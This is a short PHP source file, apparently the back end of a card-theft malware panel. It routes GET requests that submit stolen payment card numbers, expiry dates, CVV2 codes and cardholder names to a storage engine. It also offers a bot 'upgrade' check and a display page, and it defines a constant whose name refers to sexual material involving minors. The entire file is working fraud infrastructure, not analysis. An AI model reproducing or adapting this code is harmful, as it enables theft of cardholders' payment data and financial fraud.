php error_reporting define __PORNO__MALOLETKI__ true require_once Engi

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
error_reporting(0);
define("__PORNO__MALOLETKI__", true);
require_once('Engine.class.php');
$engine = new Engine();
$razd = explode('/', preg_replace('/\/+/', '/', preg_replace('/(\S)\?/', '$1/?', $_SERVER['REQUEST_URI'])));
$razd = $razd[1];
switch($razd) {
case 'update':
switch($_GET['act']) {
case 'card':
$engine->addCard($_GET['value']);
break;
case 'expire':
$engine->addExpire($_GET['card'], $_GET['value']);
break;
case 'cvv2':
$engine->addCVV2($_GET['card'], $_GET['value']);
break;
case 'fio':
$engine->addFIO($_GET['card'], $_GET['value']);
break;
default:
die('Hacking attempt!');
break;
}
break;
case 'upgrade':
$engine->checkUpgrade($_GET['version']);
break;
case 'porevo':
$engine->showPorevo();
break;
default:
echo 'Coming soon...';
break;
}